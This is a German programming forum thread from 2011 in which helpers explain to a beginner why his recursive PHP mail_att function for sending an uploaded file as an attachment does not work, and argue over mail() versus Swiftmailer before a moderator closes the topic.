storestore - Sa 27.08.11 18:52
[quote="
Yogu"(648943)]
Horschdware hat folgendes geschrieben : |
Oh je, lass das bitte mit diesem Swiftmailer. Versuche es doch erst einmal mit den zur Verfügung stehenden Hausmitteln. Eine Anleitung dazu hast du eh schon gepostet. |
Ich kenne Swiftmailer nicht, aber wenn du das allgemein meinst, muss ich dir widersprechen. Die
mail-Funktion von PHP ist, vor allem, wenn man Anhänge verwenden will, ganz sicher kein Einsteigerprojekt. Es ist besser, eine schön geschriebene Klasse mit einfachen Methoden zu verwenden und dabei dann im Idealfall auch noch jedes selbst geschriebene Wort zu verstehen, als den Mail-Standard von Hand zu implementieren.
Sowas will ich hören, danke. Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt?
Horschdware - Sa 27.08.11 18:57
Es stimmt schon, dass man viele Dinge in der Praxis wohl nicht mehr neu erfinden wird, sondern auf solche netten Goodies zurückgreift; Klassen und Bibliotheken, die es einem einfacher machen. Normalerweise wäre das mit dieser Swiftmail-Geschichte auch eine echt schöne Sache.
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.
edit: ein Bisschen zu spät...
Zitat: |
Was ist daran falsch? Ich habe die mail_att function doch erstellt? |
Ja, du hast eine function mit diesem Namen erstellt. Aber mache dir doch einmal Gedanken darüber, was diese Methode überhaupt tut. Du hast das nicht so umgesetzt wie in deinem Tutorial. Darüber hinaus ist es gar nicht notwendig, eine entsprechende Methode zu schreiben.
Du musst ja nur die mail()-Function mit den richtigen Parametern bestücken. Du warst ja schon mal recht nah am Ziel...
storestore - Sa 27.08.11 19:00
Horschdware hat folgendes geschrieben : |
Es stimmt schon, dass man viele Dinge in der Praxis wohl nicht mehr neu erfinden wird, sondern auf solche netten Goodies zurückgreift; Klassen und Bibliotheken, die es einem einfacher machen. Normalerweise wäre das mit dieser Swiftmail-Geschichte auch eine echt schöne Sache.
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden.
edit: ein Bisschen zu spät...
Zitat: | Was ist daran falsch? Ich habe die mail_att function doch erstellt? |
Ja, du hast eine function mit diesem Namen erstellt. Aber mache dir doch einmal Gedanken darüber, was diese Methode überhaupt tut. Du hast das nicht so umgesetzt wie in deinem Tutorial. Darüber hinaus ist es gar nicht notwendig, eine entsprechende Methode zu schreiben.
Du musst ja nur die mail()-Function mit den richtigen Parametern bestücken. Du warst ja schon mal recht nah am Ziel... |
Naja in dem phpforum wurde mir dazu geraten. Ich wollte nur nochmal euren Rat einholen.
Yogu - Sa 27.08.11 19:03
storestore hat folgendes geschrieben : |
Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt? |
Das da: ?
storestore hat folgendes geschrieben : |
Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| Choose a file to upload: <input name="uploadedfile" type="file" /> <input type="submit" value="Upload File" />
<?php function mail_att($to,$subject,$message,$anhang) { $to= "storestore@web.de"; $anhang = array(); $anhang["name"] = $_FILES['datei_feld']['name']; $anhang["size"] = $_FILES['datei_feld']['size']; $anhang["type"] = $_FILES['datei_feld']['type']; $anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));
mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang); } ?> | |
Korrekt, du hast eine Funktion
mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion
mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion
mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.
Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf
mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.
Horschdware hat folgendes geschrieben : |
Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann |
ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.
Horschdware hat folgendes geschrieben : |
denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden. |
Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.
Ob mail oder Swiftmailer, ist
storestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die
storestore seit kurzem zeigt, ist nicht nur vorübergehend.
Horschdware - Sa 27.08.11 19:06
Yogu hat folgendes geschrieben : |
Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.
|
Verstehe mich bitte nicht falsch, ich stimme dir da voll und ganz zu :-)
Ich denke nur, dass es in diesem konkreten Fall sinnvoller wäre, wenn storestore die Lösung, die ja zum Greifen nah ist, umsetzen würde. Ich schätze, das würde jetzt schneller gehen, da wir schon so weit gekommen sind, als sich nun in swiftmail einzuarbeiten.
Aber wie du schon gesagt hast, es bleibt seine Entscheidung ;-)
storestore - Sa 27.08.11 19:11
Yogu hat folgendes geschrieben : |
storestore hat folgendes geschrieben : | Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt? |
Das da: ?
storestore hat folgendes geschrieben : | Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| Choose a file to upload: <input name="uploadedfile" type="file" /> <input type="submit" value="Upload File" />
<?php function mail_att($to,$subject,$message,$anhang) { $to= "storestore@web.de"; $anhang = array(); $anhang["name"] = $_FILES['datei_feld']['name']; $anhang["size"] = $_FILES['datei_feld']['size']; $anhang["type"] = $_FILES['datei_feld']['type']; $anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));
mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang); } ?> | |
Korrekt, du hast eine Funktion mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.
Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.
Horschdware hat folgendes geschrieben : | Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann |
ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.
Horschdware hat folgendes geschrieben : | denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden. |
Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.
Ob mail oder Swiftmailer, ist storestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die storestore seit kurzem zeigt, ist nicht nur vorübergehend. |
Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine
<form action="" method="get"></form> einzufügen, meinst du ich sollte da noch eine mail function eibauen, da durch die mail_att function funktion nur variablen definiert werden.
Aufjeden fall danke und wenn ich das sagen darf. Für die 11klasse (die anderen die hier gepostet haben sind ja schon zwischen 21-25)bist du echt weisse.
Yogu - Sa 27.08.11 19:18
storestore hat folgendes geschrieben : |
Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!! |
Da saß ich gemütlich in meinem Sessel und habe dieses Thema bei einer Packung Gummibärchen gespannt verfolgt. Das Bedürfnis, etwas zu schreiben, hab ich erst verspürt als es Anzeichen gab, dass du vielleicht etwas des Geschriebenen ernst nehmen würdest...
storestore hat folgendes geschrieben : |
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen. |
Das Angebot, konkrete Fragen zu beantworten, gibt die Entwickler-Ecke seit 9 Jahren jedem Benutzer. Du hast es nur noch nicht sonderlich oft angenommen.
storestore hat folgendes geschrieben : |
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, da sich der code sonst wiederholt, stimmt das? |
Wie willst du das denn sonst machen, ohne HTML-Formular? Und das mit Code-Wiederholung verstehe ich nicht.
storestore - Sa 27.08.11 19:22
Yogu hat folgendes geschrieben : |
storestore hat folgendes geschrieben : | Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!! |
Da saß ich gemütlich in meinem Sessel und habe dieses Thema bei einer Packung Gummibärchen gespannt verfolgt. Das Bedürfnis, etwas zu schreiben, hab ich erst verspürt als es Anzeichen gab, dass du vielleicht etwas des Geschriebenen ernst nehmen würdest...
storestore hat folgendes geschrieben : | Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen. |
Das Angebot, konkrete Fragen zu beantworten, gibt die Entwickler-Ecke seit 9 Jahren jedem Benutzer. Du hast es nur noch nicht sonderlich oft angenommen.
storestore hat folgendes geschrieben : | So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, da sich der code sonst wiederholt, stimmt das? |
Wie willst du das denn sonst machen, ohne HTML-Formular? Und das mit Code-Wiederholung verstehe ich nicht. |
Mit dem code wiederholen ist egal, habe ich auch wieder gelöscht. Ja ich meine nochmal eine neue Seite, das ein HTML-Formular ist und den PHP code nochmal in einer anderen Seite reinzuschreiben, und nicht das HTML formular in dem PHP code zu öffnen
Delete - Sa 27.08.11 23:37
storestore hat folgendes geschrieben : |
Yogu hat folgendes geschrieben : | storestore hat folgendes geschrieben : | Naja jetzt nochmal zu dem von mit geposteten code (evt. 5 Seite im Forum) Was ist daran falsch? Ich habe die mail_att function doch erstellt? |
Das da: ?
storestore hat folgendes geschrieben : | Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| Choose a file to upload: <input name="uploadedfile" type="file" /> <input type="submit" value="Upload File" />
<?php function mail_att($to,$subject,$message,$anhang) { $to= "storestore@web.de"; $anhang = array(); $anhang["name"] = $_FILES['datei_feld']['name']; $anhang["size"] = $_FILES['datei_feld']['size']; $anhang["type"] = $_FILES['datei_feld']['type']; $anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));
mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang); } ?> | |
Korrekt, du hast eine Funktion mail_att erstellt. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und ruft die Funktion mail_att auf. Und was macht die? Sie weißt ein paar Variablen zu, füllt ein Array, und... verstehst du? Da passiert gar nichts, außer dass sich das Programm ständig im Kreis dreht und sich aufhängt. Vorausgesetzt, die Funktion mail_att wird überhaupt vom Hauptprogramm heraus aufgerufen, was in dem Quellcode nicht der Fall ist.
Was du gemacht hast, ist auf die Fehlermeldung "Funktion nicht gefunden" eine eigene Funktion zu erstellen, die nicht der entspricht, die du eigentlich wolltest. Ich schätze, du hast im Internet irgendwo einen Verweis auf mail_att gefunden. Nun, dann musst du an dieser Stelle eben den Quelltext dieser Funktion suchen und ihn einbauen.
Horschdware hat folgendes geschrieben : | Aber wenn wir hier in diesem Thread schon seit mehreren Seiten auf eine Lösung mit der standard mail() hinarbeiten und schon ein Tutorial hier gesehen haben und die Umsetzung quasi nur noch "ge-copy&paste-d" werden muss, dann |
ist das wahrlich schade, denn es war offensichtlich vergeudete Zeit.
Horschdware hat folgendes geschrieben : | denke ich, sollte das auch so umgesetzt werden und nicht aus der Unnot heraus auf ein neues Konzept umgeschwenkt werden. |
Naja, nur weil man eine Stunde lang eine Straße entlanggelaufen ist, bis man festgestellt hat, dass sie eine Sackgasse ist, sollte man nicht aus Prinzip weiterlaufen, sondern umkehren.
Ob mail oder Swiftmailer, ist storestores Entscheidung. Ich werde konkrete Fragen zu beiden Möglichkeiten beantworten, vorausgesetzt, die Eigeninitiative, die storestore seit kurzem zeigt, ist nicht nur vorübergehend. |
Hallo, wo warst du als iich das Thema aufgemacht habe. Gott segen dich!!!
Genau so jemanden suche ich. Das Angebot mit den Fragen werde ich aufjedenfall annehmen.
So wie ich es jetzt verstanden habe, wäre es besser ein html forumlar zu erstellen und denn code durch eine <form action="" method="get"></form> einzufügen, meinst du ich sollte da noch eine mail function eibauen, da durch die mail_att function funktion nur variablen definiert werden.
Aufjeden fall danke und wenn ich das sagen darf. Für die 11klasse (die anderen die hier gepostet haben sind ja schon zwischen 21-25)bist du echt weisse. |
Ich finde dein Auftreten echt unverschämt und deines Alters nicht angemessen. Letztendlich verhältst du dich hier wie ein Kleinkind, was du ja anscheinend nicht mehr
bist oder sein willst. Über mehrere Seiten wurden dir die einfachsten Lösungswege vorgestellt, Tutorials für dich rausgesucht, obwohl du zu faul und anscheinend auch nicht ansatzweise lernfähig genug bist, Google richtig zu bedienen oder mal einen Satz richtig zu lesen. Wäre ich Admin, würde ich mir überlegen, dir nicht eine Sperre zu erteilen für diese Dreistigkeit. Zum Glück ist das nicht mir überlassen und ich kann diese schwere Frage einfach ignorieren.
Du solltest an deinem Auftreten arbeiten, so lernst du nie was.
mandras - Sa 27.08.11 23:46
Bitte setze dich einmal hin und formuliere Deine Fragen in strukturierter Weise.
Ich verfolge diesen Faden hier schon seit einiger Zeit und je weiter es geht desto weniger kann ich nachvollziehen um was es denn zum Schluß eigentlich geht, wo das Problem noch liegt.
Und das ständige Einstellen von Codeschnippseln mit/ohne Änderungen gegenüber dem jeweils letzten Posting führt nicht zur besseren Verständlichkeit.
Yogu - So 28.08.11 00:57
storestore hat folgendes geschrieben : |
Ja ich meine nochmal eine neue Seite, das ein HTML-Formular ist und den PHP code nochmal in einer anderen Seite reinzuschreiben, und nicht das HTML formular in dem PHP code zu öffnen |
So ganz versteh ich das immer noch nicht. :nixweiss: Ist doch schlussendlich egal, ob Formular und Code in der gleichen Datei sind, oder eine reine HTML-Datei mit dem Formular eine andere PHP-Datei mit dem Upload-Code aufruft. Nur, wenn der Upload-Code manchmal (z.B. bei falscher Eingabe) das Formular anzeigen soll, ist es sinnvoller, beides in einer Datei zu vereinigen.
storestore - So 28.08.11 12:26
Ich versuche es jetzt einfach mit einer Mailerklasse. Ist das sicherer? Oder ist das genauso xss ausgesetzt wie ohne?
mfg storestore
BenBE - So 28.08.11 13:28
Stell Dir eine Kette aus 5cm starken Stahlbolzen vor, die in der Mitte durch einen Bindfaden zusammengehalten wird. Der Bindfaden ist dein Code, die 5cm starken Stahlbolzen der Webserver und die Mailerklasse.
storestore - So 28.08.11 13:45
Ok habe ich hört sich nicht sehr sicher an.
Delete - So 28.08.11 18:15
Na ja, die sind ja noch auf der ersten Seite. aber wenn sie merken, dass sie auf Seite 3 immer noch auf der Stelle treten, werden wohl auch da die Antworten entsprechend ausfallen. Und was willst du uns damit sagen? Dass wir dir nicht helfen wollen und deshalb nur Mist posten oder das wir unfähig sind? Ich glaube, du solltest dich mal an die eigene Nase packen und dir mal überlegen, was du hier bisher für Beiträge fabriziert hast.
storestore - So 28.08.11 18:18
Luckie hat folgendes geschrieben : |
Na ja, die sind ja noch auf der ersten Seite. aber wenn sie merken, dass sie auf Seite 3 immer noch auf der Stelle treten, werden wohl auch da die Antworten entsprechend ausfallen. Und was willst du uns damit sagen? Dass wir dir nicht helfen wollen und deshalb nur Mist posten oder das wir unfähig sind? Ich glaube, du solltest dich mal an die eigene Nase packen und dir mal überlegen, was du hier bisher für Beiträge fabriziert hast. |
Nein, aber ich wollte nur mal zeigen das die gut antworten. Außerdem hieß es doch in der SB oder im Thread (weiss ich nicht mehr) das da nur leute sind die es nicht können oder so ein Mist. Außerdem heißt es da nicht "guck da oder da" sondern da heißt es "so wird es gemacht"
Delete - So 28.08.11 18:21
Mal was zum Nachdenken:
Zitat: |
Gib einem Hungerden eine Fisch und er ist für eine Tag satt, lehre im zu fischen und er ist für sein leben lang satt. |
storestore - So 28.08.11 18:26
Luckie hat folgendes geschrieben : |
Mal was zum Nachdenken: Zitat: | Gib einem Hungerden eine Fisch und er ist für eine Tag satt, lehre im zu fischen und er ist für sein leben lang satt. |
|
Hmm, schönes Zitat. Gibt einem echt zu denken.
Naja ist egal das hier ist ja kein php forum, deswegen ist es kein Problem wegen den Antworten. Ich hätte gleich in dem Forum fragen sollen. Naja hier ist es erledigt.
Ich mache im PHP-Forum weiter.
also danke für alle Antworten.
mfg storestore
mandras - So 28.08.11 23:49
lieber speicherspeicher,
Deine Arroganz sprengt wirklich jedes Maß.
Sie hat ein Niveau daß ich gar nicht glauben kann daß Du angeblich erst 13 bist.
Bei Durchsicht der Posts auf dem anderen Forum kamst Du nicht auf die Idee daß die kurz davor
sind die Geduld zu verlieren?
storestore - So 28.08.11 23:59
Nee, eig. nicht
Delete - Mo 29.08.11 00:52
Besonders geil:
Zitat: |
PS: Wow ein Moderator antwortet mir auch mal. Ich bin ja auch in einem c-sharp-forum aber da schert sich kein Moderator auf meine fragen anständig zu antworten. Echt danke. Ich werde euch auf jeden fall weiter empfehlen!!! |
Fühlst du dich hier nicht ernst genommen, weil in deinem Thread noch kein Moderator geantwortet hat? Allerdings würde ich sagen, in dem Forum dürftest du auch bald unten durch sein, wenn ich mir so den ersten Satz des Zitates angucke. Klingt ziemlich herablassend. Du solltest aber immer daran denken, dass du, wenn du eine Frage stellst, als Bittsteller auftrittst und von anderen etwas willst. Und diese anderen freiwillig und aus Spaß an der Freude antworten, entsprechend solltest du dich auch verhalten. Ich frage mich, wie du durch das Leben kommst, wenn du dich im richtigen Leben genauso gegenüber anderen verhältst.
Gausi - Mo 29.08.11 07:44
Erstens hat auch hier ein Moderator geantwortet. Zweitens hat dieser Moderator dir genau dasselbe gesagt wie in deinem ach so tollen php-Forum. Nämlich das du das Mail-Tutorial, was du selber verlinkt hast, gefälligst lesen sollst und die Funktion mail_att, die da drin steckt, auch kopieren sollst und nicht irgendwie sinnfrei ändern sollst. Du hast wirklich Talent, dir auch mit deinem neuen Account wieder Freunde hier zu machen. :roll:
Da das Thema hier erledigt ist, schließe ich das Topic.
Entwickler-Ecke.de based on phpBB
Copyright 2002 - 2011 by Tino Teuber, Copyright 2011 - 2024 by Christian Stelzmann Alle Rechte vorbehalten.
Alle Beiträge stammen von dritten Personen und dürfen geltendes Recht nicht verletzen.
Entwickler-Ecke und die zugehörigen Webseiten distanzieren sich ausdrücklich von Fremdinhalten jeglicher Art!